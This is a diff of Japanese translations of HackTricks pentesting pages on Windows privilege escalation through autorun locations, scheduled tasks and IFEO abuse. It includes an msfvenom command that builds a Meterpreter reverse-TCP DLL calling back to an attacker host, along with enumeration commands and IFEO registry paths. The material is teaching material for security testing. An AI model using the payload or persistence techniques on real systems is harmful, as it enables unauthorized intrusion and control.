5. メータープリターセッションを使用して、ターゲットマシンを制御し、特権の昇格などのさまざまな攻撃を実行できます。
|
||||
```
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
|
@ -253,7 +258,7 @@ break;
|
|||
return TRUE;
|
||||
}
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_).
|
||||
|
||||
|
|
|
@ -1,33 +1,33 @@
|
|||
# Autorunバイナリを使用した特権エスカレーション
|
||||
# Autorunsを使用した特権エスカレーション
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合 - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、アンハッカブルをハックしたいのであれば、**採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## WMIC
|
||||
|
||||
**Wmic**は、**起動時**にプログラムを実行するために使用できます。次のコマンドで、起動時にプログラムが設定されているバイナリを確認できます。
|
||||
**Wmic**は、**起動時**にプログラムを実行するために使用することができます。次のコマンドで、起動時にプログラムが設定されているバイナリを確認できます。
|
||||
```bash
|
||||
wmic startup get caption,command 2>nul & ^
|
||||
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
|
||||
```
|
||||
## スケジュールされたタスク
|
||||
|
||||
**タスク**は、**特定の頻度**で実行されるようにスケジュールすることができます。次のコマンドでスケジュールされたバイナリを確認します。
|
||||
**タスク**は、**特定の頻度**で実行されるようにスケジュールできます。次のコマンドでスケジュールされたバイナリを確認します。
|
||||
```bash
|
||||
schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab"
|
||||
schtasks /query /fo LIST 2>nul | findstr TaskName
|
||||
|
@ -306,21 +306,19 @@ Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\she
|
|||
|
||||
Image File Execution Options(IFEO)は、Windowsオペレーティングシステムで実行されるプロセスの動作を変更するための機能です。IFEOは、デバッグ用途で開発者が使用することを意図していますが、悪意のある目的で利用されることもあります。
|
||||
|
||||
IFEOを悪用すると、特権昇格攻撃を実行することができます。攻撃者は、IFEOを使用してシステム上で実行されるプロセスを変更し、特権のあるプロセスとして実行することができます。
|
||||
IFEOを悪用すると、特権昇格攻撃を実行することができます。攻撃者は、IFEOを使用してシステム上で実行されるプロセスを置き換えることができます。これにより、攻撃者は特権レベルのプロセスを実行し、システムに対する完全な制御を取得することができます。
|
||||
|
||||
IFEOを使用した特権昇格攻撃の手法の一つは、既存の実行可能ファイルにIFEOエントリを作成することです。このエントリには、攻撃者が実行したいプロセスのパスと、そのプロセスを実行するためのデバッガのパスが指定されます。その結果、攻撃者が指定したプロセスが実行される際に、デバッガが同時に起動されます。
|
||||
IFEOを使用した特権昇格攻撃を実行するためには、攻撃者は管理者権限を持つ必要があります。攻撃者は、IFEOの設定を変更するためにレジストリエディタやコマンドラインツールを使用することができます。
|
||||
|
||||
攻撃者は、デバッガとして任意のプログラムを指定することができます。このプログラムは、攻撃者が特権のある操作を実行するために使用することができます。たとえば、システムレジストリの変更や、特権のあるファイルへのアクセスなどが考えられます。
|
||||
IFEOを悪用する攻撃の一例として、システム上で実行されるプロセスの代わりに、特権を持つプロセスを実行するためのバイナリを指定することがあります。これにより、攻撃者は特権レベルのアクセスを取得し、システム上で様々な操作を行うことができます。
|
||||
|
||||
IFEOを悪用した特権昇格攻撃は、システムのセキュリティを脅かす重大な問題です。攻撃者は、システム上で特権のある操作を実行することができ、システム全体を乗っ取る可能性があります。
|
||||
|
||||
IFEOを悪用した攻撃からシステムを保護するためには、以下の対策を実施することが重要です。
|
||||
IFEOを悪用されないようにするためには、以下の対策を実施することが重要です。
|
||||
|
||||
- 不要なIFEOエントリを削除する
|
||||
- IFEOエントリの変更を監視する
|
||||
- セキュリティソフトウェアを使用してIFEOの悪用を検出する
|
||||
|
||||
これらの対策を実施することで、IFEOを悪用した特権昇格攻撃からシステムを保護することができます。
|
||||
IFEOは、Windowsのセキュリティにおいて重要な機能ですが、悪意のある攻撃に悪用される可能性もあるため、適切な対策を講じることが重要です。
|
||||
```
|
||||
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
|
||||
HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options
|
||||
|
@ -341,7 +339,7 @@ autorunsc.exe -m -nobanner -a * -ct /accepteula
|
|||
* [https://attack.mitre.org/techniques/T1547/001/](https://attack.mitre.org/techniques/T1547/001/)
|
||||
* [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし興味があるなら、**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
@ -354,7 +352,7 @@ autorunsc.exe -m -nobanner -a * -ct /accepteula
|
|||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|